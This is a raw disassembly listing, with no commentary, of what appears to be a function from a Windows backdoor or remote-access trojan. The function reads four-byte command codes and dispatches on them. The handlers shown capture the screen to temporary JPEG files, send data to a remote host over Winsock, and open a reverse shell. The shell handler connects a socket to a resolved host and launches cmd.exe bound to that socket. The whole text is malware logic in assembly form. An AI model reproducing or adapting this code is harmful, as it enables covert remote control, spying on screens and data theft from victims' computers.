mov edx, dword [ebp - 0x180]
sub edx, dword [ebp - 0x190]
mov dword [ebp - 0x51c], edx
mov ecx, dword [ebp - 0x190]
mov dword [ebp - 0x520], ecx
cmp dword [ebp - 0x520], 0
je 0x408ed7
cmp dword [ebp - 0x51c], 0x80
jbe 0x408ec3
push dword [ebp - 0x520]
call fcn.0040c294
pop ecx
jmp 0x408ed7
push dword [ebp - 0x51c]
push dword [ebp - 0x520]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
pop eax
test al, al
je 0x408f91
push 0xc8
push 0
lea edx, [ebp - 0x15d0]
push edx
call fcn.0040e5ec
add esp, 0xc
push 0x437c68
lea ecx, [ebp - 0x15d0]
push ecx
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0xd30]
push eax
lea edx, [ebp - 0x15d0]
push edx
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x15d0]
push ecx
call fcn.0040e6cc
pop ecx
mov byte [ebp + eax - 0x15d1], 0
push 0xc8
push 0
push 0x4490a4
call fcn.0040e5ec
add esp, 0xc
push 0x437c68
push 0x4490a4
call fcn.0040e690
add esp, 8
push str.temp.jpg
push 0x4490a4
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0x15d0]
push eax
call fcn.004046d0
pop ecx
call fcn.00403fe8
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x73
jne 0x409397
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x46
jne 0x409397
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x6d
jne 0x409397
movsx edx, byte [ebp - 0xd2d]
cmp edx, 0x6e
jne 0x409397
xor ecx, ecx
mov dword [ebp - 0x524], ecx
mov word [ebp - 0x384], 0x74
jmp 0x408fea
inc dword [ebp - 0x524]
mov eax, dword [ebp - 0x524]
mov ecx, dword [ebp - 0x524]
mov dl, byte [ebp + eax - 0xd2c]
mov byte [ebp + ecx - 0xd30], dl
test dl, dl
jne 0x408fe4
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x3c
jne 0x40907b
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x44
jne 0x40907b
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x49
jne 0x40907b
movsx edx, byte [ebp - 0xd2d]
cmp edx, 0x52
jne 0x40907b
movsx ecx, byte [ebp - 0xd2c]
cmp ecx, 0x3e
jne 0x40907b
xor eax, eax
mov dword [ebp - 0x528], eax
mov word [ebp - 0x384], 0x74
jmp 0x40905d
inc dword [ebp - 0x528]
mov edx, dword [ebp - 0x528]
mov eax, dword [ebp - 0x528]
mov cl, byte [ebp + edx - 0xd2a]
mov byte [ebp + eax - 0xd30], cl
test cl, cl
jne 0x409057
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x2e
jne 0x409127
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x2e
jne 0x409127
push 0x437c68
call fcn.0040e6cc
pop ecx
mov dword [ebp - 0x15d0], eax
xor edx, edx
mov dword [ebp - 0x15dc], edx
jmp 0x4090e6
mov ecx, dword [ebp - 0x15dc]
movsx eax, byte [ecx + 0x437c68]
cmp eax, 0x5c
jne 0x4090e0
mov edx, dword [ebp - 0x15d8]
mov dword [ebp - 0x15d4], edx
mov ecx, dword [ebp - 0x15dc]
mov dword [ebp - 0x15d8], ecx
inc dword [ebp - 0x15dc]
mov eax, dword [ebp - 0x15dc]
cmp eax, dword [ebp - 0x15d0]
jl 0x4090b6
inc dword [ebp - 0x15d4]
jmp 0x40910f
mov edx, dword [ebp - 0x15d4]
mov byte [edx + 0x437c68], 0
inc dword [ebp - 0x15d4]
mov ecx, dword [ebp - 0x15d4]
cmp ecx, dword [ebp - 0x15d0]
jl 0x4090fc
call fcn.00404f6c
jmp 0x409397
push 0x7d0
call fcn.0040c46c
pop ecx
mov dword [ebp - 0x52c], eax
mov word [ebp - 0x384], 0x74
mov eax, dword [ebp - 0x52c]
mov edi, 0x437c68
mov esi, eax
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x440259
push dword [ebp - 0x52c]
call fcn.0040e690
add esp, 8
lea eax, [ebp - 0xd30]
push eax
push dword [ebp - 0x52c]
call fcn.0040e690
add esp, 8
push dword [ebp - 0x52c]
call fcn.00404f4c
pop ecx
test al, al
je 0x4091d3
lea edx, [ebp - 0xd30]
push edx
push 0x437c68
call fcn.0040e690
add esp, 8
push 0x440259
push 0x437c68
call fcn.0040e690
add esp, 8
call fcn.00404f6c
jmp 0x409397
mov word [ebp - 0x384], 0x3c8
lea ecx, [ebp - 0x2d0]
lea eax, [ebp - 0xd30]
push ecx
lea edx, [ebp - 0x2e8]
inc dword [ebp - 0x378]
push eax
push edx
call fcn.0040268e
add esp, 0xc
lea ecx, [ebp - 0x2e8]
add dword [ebp - 0x378], 4
push ecx
lea eax, [ebp - 0x2c8]
push eax
call fcn.004056c4
add dword [ebp - 0x378], 4
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
add esp, 8
mov edx, dword [ebp - 0x2d8]
sub edx, dword [ebp - 0x2e8]
mov dword [ebp - 0x530], edx
mov ecx, dword [ebp - 0x2e8]
mov dword [ebp - 0x534], ecx
cmp dword [ebp - 0x534], 0
je 0x409284
cmp dword [ebp - 0x530], 0x80
jbe 0x409270
push dword [ebp - 0x534]
call fcn.0040c294
pop ecx
jmp 0x409284
push dword [ebp - 0x530]
push dword [ebp - 0x534]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x3bc
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x538], eax
push 0x64
push 0
push dword [0x437c60]
call fcn.0040e5ec
add esp, 0xc
push str.aDpl
push dword [0x437c60]
call fcn.0040e690
add esp, 8
push dword [ebp - 0x538]
push dword [0x437c60]
call fcn.0040e690
add esp, 8
push 0
push dword [0x437c60]
call fcn.0040e6cc
pop ecx
push eax
push dword [0x437c60]
push dword [ebp - 0x3a8]
call sub.WSOCK32.DLL_send
push dword [0x437c60]
call fcn.0040e6cc
pop ecx
push eax
push 0
push dword [0x437c60]
call fcn.0040e5ec
add esp, 0xc
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov edx, dword [ebp - 0x2b8]
sub edx, dword [ebp - 0x2c8]
mov dword [ebp - 0x53c], edx
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x540], ecx
cmp dword [ebp - 0x540], 0
je 0x409382
cmp dword [ebp - 0x53c], 0x80
jbe 0x40936e
push dword [ebp - 0x540]
call fcn.0040c294
pop ecx
jmp 0x409382
push dword [ebp - 0x53c]
push dword [ebp - 0x540]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x61
jne 0x4093e2
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x46
jne 0x4093e2
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x63
jne 0x4093e2
movsx eax, byte [ebp - 0xd2d]
cmp eax, 0x68
jne 0x4093e2
push 0x64
call sub.KERNEL32.DLL_Sleep
call fcn.004051b8
push 0xc8
call sub.KERNEL32.DLL_Sleep
call fcn.00404f6c
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x61
jne 0x409514
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x50
jne 0x409514
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x6d
jne 0x409514
movsx edx, byte [ebp - 0xd2d]
cmp edx, 0x6e
jne 0x409514
xor ecx, ecx
mov dword [ebp - 0x544], ecx
mov word [ebp - 0x384], 0x74
jmp 0x40943b
inc dword [ebp - 0x544]
mov eax, dword [ebp - 0x544]
mov ecx, dword [ebp - 0x544]
mov dl, byte [ebp + eax - 0xd2c]
mov byte [ebp + ecx - 0xd30], dl
test dl, dl
jne 0x409435
mov word [ebp - 0x384], 0x410
lea eax, [ebp - 0x300]
push eax
call fcn.00405868
pop ecx
add dword [ebp - 0x378], 4
mov word [ebp - 0x384], 0x404
push 0x437c68
call fcn.00410298
pop ecx
push 0x8238
lea ecx, [ebp - 0xd30]
push ecx
call fcn.0040ae38
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x2f0]
sub eax, dword [ebp - 0x300]
mov dword [ebp - 0x548], eax
mov edx, dword [ebp - 0x300]
mov dword [ebp - 0x54c], edx
cmp dword [ebp - 0x54c], 0
je 0x4094ff
cmp dword [ebp - 0x548], 0x80
jbe 0x4094eb
push dword [ebp - 0x54c]
call fcn.0040c294
pop ecx
jmp 0x4094ff
push dword [ebp - 0x548]
push dword [ebp - 0x54c]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x61
jne 0x40968d
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x58
jne 0x40968d
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x63
jne 0x40968d
movsx ecx, byte [ebp - 0xd2d]
cmp ecx, 0x67
jne 0x40968d
xor eax, eax
mov dword [ebp - 0x550], eax
mov word [ebp - 0x384], 0x74
jmp 0x409574
mov byte [ebp - 0xd27], 0x20
inc dword [ebp - 0x550]
mov edx, dword [ebp - 0x550]
mov eax, dword [ebp - 0x550]
mov cl, byte [ebp + edx - 0xd2c]
mov byte [ebp + eax - 0xd30], cl
test cl, cl
jne 0x409567
mov byte [ebp - 0xd26], 0x20
lea edx, [ebp - 0xd30]
push edx
call fcn.00413274
pop ecx
mov dword [0x4493fc], eax
mov dword [ebp - 0x161c], 1
mov eax, dword [0x4493fc]
xor edx, edx
mov dword [ebp - 0x1618], edx
mov dword [0x447f38], eax
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x1614], ecx
mov dword [ebp - 0x1610], eax
mov word [ebp - 0x384], 0x74
lea edx, [ebp - 0x161c]
push 0
push edx
lea ecx, [ebp - 0x554]
mov dword [0x449400], 1
mov dword [0x437c34], 4
push ecx
call sub.GDIPLUS.DLL_GdiplusStartup
mov dword [0x449400], 1
lea eax, [ebp - 0x1720]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov dword [ebp - 0x55c], eax
push str.pac001_screen.jpg
lea edx, [ebp - 0x1720]
push edx
call fcn.0040e690
add esp, 8
push 0xc8
push 0
push 0x448168
call fcn.0040e5ec
add esp, 0xc
push 0x4404a5
push 0x448168
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x560]
push ecx
push 4
push 0
push 0x405b44
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x449024], eax
push dword [0x449024]
call sub.KERNEL32.DLL_ResumeThread
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x61
jne 0x4097e9
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x58
jne 0x4097e9
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x63
jne 0x4097e9
movsx eax, byte [ebp - 0xd2d]
cmp eax, 0x66
jne 0x4097e9
lea edx, [ebp - 0x18b0]
push edx
push 0x202
call sub.WSOCK32.DLL_WSAStartup
push 0
push 0
push 0
push 6
push 1
push 2
call sub.WS2_32.DLL_WSASocketA
mov dword [ebp - 0x564], eax
push 0x447fd4
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0x56c], eax
mov ecx, dword [ebp - 0x56c]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
push dword [edx]
call sub.WSOCK32.DLL_inet_ntoa
mov edi, eax
xor eax, eax
or ecx, 0xffffffff
lea esi, [ebp - 0x18d0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov word [ebp - 0x18c0], 2
push 0x8234
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x18be], ax
lea eax, [ebp - 0x18d0]
push eax
call sub.WSOCK32.DLL_inet_addr
mov dword [ebp - 0x18bc], eax
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x18c0]
push 0x10
push edx
push dword [ebp - 0x564]
call sub.WS2_32.DLL_WSAConnect
push 0x44
push 0
lea ecx, [ebp - 0x1914]
push ecx
call fcn.0040e5ec
mov dword [ebp - 0x1914], 0x44
mov dword [ebp - 0x18e8], 0x100
mov eax, dword [ebp - 0x564]
add esp, 0xc
mov dword [ebp - 0x18d4], eax
mov dword [ebp - 0x18d8], eax
mov dword [ebp - 0x18dc], eax
lea edx, [ebp - 0x1924]
push edx
lea ecx, [ebp - 0x1914]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push str.cmd.exe
push 0
call sub.KERNEL32.DLL_CreateProcessA
movsx eax, byte [ebp - 0xd30]
cmp eax, 0x61
jne 0x409a99
movsx edx, byte [ebp - 0xd2f]
cmp edx, 0x50
jne 0x409a99
movsx ecx, byte [ebp - 0xd2e]
cmp ecx, 0x79
jne 0x409a99
mov dword [0x437c34], 2
xor eax, eax
mov dword [ebp - 0x570], eax
mov word [ebp - 0x384], 0x74
jmp 0x409850
push 0xc8
push 0
push 0x448a3c
call fcn.0040e5ec
add esp, 0xc
inc dword [ebp - 0x570]
mov edx, dword [ebp - 0x570]
mov eax, dword [ebp - 0x570]
mov cl, byte [ebp + edx - 0xd2d]
mov byte [ebp + eax - 0xd30], cl
test cl, cl
jne 0x409836
push 0x64
push 0
push 0x448d5c
call fcn.0040e5ec
add esp, 0xc
lea edx, [ebp - 0xd30]
push edx
push 0x448a3c
call fcn.0040e690
mov word [ebp - 0x384], 0x434
add esp, 8
lea eax, [ebp - 0x308]
lea edx, [ebp - 0x320]
push eax
inc dword [ebp - 0x378]
push 0x447fd4
push edx
call fcn.0040268e
add esp, 0xc
lea ecx, [ebp - 0x320]
add dword [ebp - 0x378], 4
push ecx
lea eax, [ebp - 0x338]
push eax
call fcn.004055cc
add esp, 8
lea edx, [ebp - 0x338]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x574], edx
mov ecx, dword [ebp - 0x574]
mov eax, dword [ecx]
push eax
push 0x448d5c
call fcn.0040e690
add esp, 8
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
dec dword [ebp - 0x378]
mov edx, dword [ebp - 0x328]
sub edx, dword [ebp - 0x338]
mov dword [ebp - 0x578], edx
mov ecx, dword [ebp - 0x338]
mov dword [ebp - 0x57c], ecx
cmp dword [ebp - 0x57c], 0
je 0x40996d
cmp dword [ebp - 0x578], 0x80
jbe 0x409959
push dword [ebp - 0x57c]
call fcn.0040c294
pop ecx
jmp 0x40996d
push dword [ebp - 0x578]
push dword [ebp - 0x57c]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x310]
sub eax, dword [ebp - 0x320]
mov dword [ebp - 0x580], eax
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x584], edx
cmp dword [ebp - 0x584], 0
je 0x4099da
cmp dword [ebp - 0x580], 0x80
jbe 0x4099c6
push dword [ebp - 0x584]
call fcn.0040c294
pop ecx
jmp 0x4099da
push dword [ebp - 0x580]
push dword [ebp - 0x584]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
cmp dword [0x437c2c], 0
jne 0x409a17
push 0x4404b0
call fcn.0041179c
pop ecx
xor ecx, ecx
mov dword [0x437c1c], ecx
mov dword [0x437c2c], 1
jmp 0x409a99
xor eax, eax
mov dword [0x437c2c], eax
xor edx, edx
mov dword [0x447e98], edx
xor ecx, ecx
mov dword [0x447e9c], ecx
xor eax, eax
mov dword [0x447ea0], eax
xor edx, edx
mov dword [0x447ea4], edx
xor ecx, ecx
mov dword [0x447ea8], ecx
xor eax, eax
mov dword [0x447eac], eax
xor edx, edx
mov dword [0x447eb0], edx
xor ecx, ecx
mov dword [0x447eb4], ecx
xor eax, eax
mov dword [0x447eb8], eax
xor edx, edx
mov dword [0x447ebc], edx
xor ecx, ecx
mov dword [0x447ec0], ecx
xor eax, eax
mov dword [0x447ec4], eax
xor edx, edx
mov dword [0x447ec8], edx
xor ecx, ecx
mov dword [0x447ecc], ecx
xor eax, eax
mov dword [0x447ed0], eax
xor edx, edx
mov dword [0x448230], edx
movsx ecx, byte [ebp - 0xd30]
cmp ecx, 0x61
jne 0x409cdd
movsx eax, byte [ebp - 0xd2f]
cmp eax, 0x50
jne 0x409cdd
movsx edx, byte [ebp - 0xd2e]
cmp edx, 0x78
jne 0x409cdd
push str.capture_screen_n
call fcn.0041179c
pop ecx
xor ecx, ecx
mov dword [0x449404], ecx
mov dword [0x437c34], 1
xor eax, eax
mov dword [ebp - 0x588], eax
mov word [ebp - 0x384], 0x74
jmp 0x409b13
push 0xc8
push 0
push 0x448a3c
call fcn.0040e5ec
add esp, 0xc
inc dword [ebp - 0x588]
mov edx, dword [ebp - 0x588]
mov eax, dword [ebp - 0x588]
mov cl, byte [ebp + edx - 0xd2d]
mov byte [ebp + eax - 0xd30], cl
test cl, cl
jne 0x409af9
push 0x64
push 0
push 0x448d5c
call fcn.0040e5ec
add esp, 0xc
lea edx, [ebp - 0xd30]
push edx
push 0x448a3c
call fcn.0040e690
mov word [ebp - 0x384], 0x470
add esp, 8
lea eax, [ebp - 0x340]
lea edx, [ebp - 0x358]
push eax
inc dword [ebp - 0x378]
push 0x447fd4
push edx
call fcn.0040268e
add esp, 0xc
lea ecx, [ebp - 0x358]
add dword [ebp - 0x378], 4
push ecx
lea eax, [ebp - 0x370]
push eax
call fcn.004055cc
add esp, 8
lea edx, [ebp - 0x370]
add dword [ebp - 0x378], 4
mov dword [ebp - 0x58c], edx
mov ecx, dword [ebp - 0x58c]
mov eax, dword [ecx]
push eax
push 0x448d5c
call fcn.0040e690
add esp, 8
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0x74
dec dword [ebp - 0x378]
mov edx, dword [ebp - 0x360]
sub edx, dword [ebp - 0x370]
mov dword [ebp - 0x590], edx
mov ecx, dword [ebp - 0x370]
mov dword [ebp - 0x594], ecx
cmp dword [ebp - 0x594], 0
je 0x409c30
cmp dword [ebp - 0x590], 0x80
jbe 0x409c1c
push dword [ebp - 0x594]
call fcn.0040c294
pop ecx
jmp 0x409c30
push dword [ebp - 0x590]
push dword [ebp - 0x594]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov eax, dword [ebp - 0x348]
sub eax, dword [ebp - 0x358]
mov dword [ebp - 0x598], eax
mov edx, dword [ebp - 0x358]
mov dword [ebp - 0x59c], edx
cmp dword [ebp - 0x59c], 0
je 0x409c9d
cmp dword [ebp - 0x598], 0x80
jbe 0x409c89
push dword [ebp - 0x59c]
call fcn.0040c294
pop ecx
jmp 0x409c9d
push dword [ebp - 0x598]
push dword [ebp - 0x59c]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
cmp dword [0x437c2c], 0
jne 0x409ccc
xor ecx, ecx
mov dword [0x437c1c], ecx
mov dword [0x437c2c], 1
jmp 0x409cdd
mov dword [0x437c1c], 1
xor eax, eax
mov dword [0x437c2c], eax
cmp dword [0x437c1c], 0
jne 0x409d14
mov dword [0x437c1c], 1
push str.sams_screen_n
call fcn.0041179c
pop ecx
push 0
push 0
push 0
push 0x40a078
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x449080], eax
movsx edx, byte [ebp - 0xd30]
cmp edx, 0x73
jne 0x409d66
movsx ecx, byte [ebp - 0xd2f]
cmp ecx, 0x50
jne 0x409d66
movsx eax, byte [ebp - 0xd2e]
cmp eax, 0x63
jne 0x409d66
push 0
push 0
push 0
push 0x40b058
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebp - 0x5a0], eax
mov word [ebp - 0x384], 0x74
push dword [ebp - 0x5a0]
call sub.KERNEL32.DLL_CloseHandle
push 1
call sub.KERNEL32.DLL_Sleep
jmp 0x406be5
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 0x5ac], edx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x5b0], ecx
cmp dword [ebp - 0x5b0], 0
je 0x409dca
cmp dword [ebp - 0x5ac], 0x80
jbe 0x409db6
push dword [ebp - 0x5b0]
call fcn.0040c294
pop ecx
jmp 0x409dca
push dword [ebp - 0x5ac]
push dword [ebp - 0x5b0]
call fcn.004197d0
add esp, 8
dec dword [ebp - 0x378]
dec dword [ebp - 0x378]
mov word [ebp - 0x384], 0
jmp 0x40631f
xor eax, eax
mov edx, dword [ebp - 0x394]
mov dword fs:[0], edx
jmp 0x409e04
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret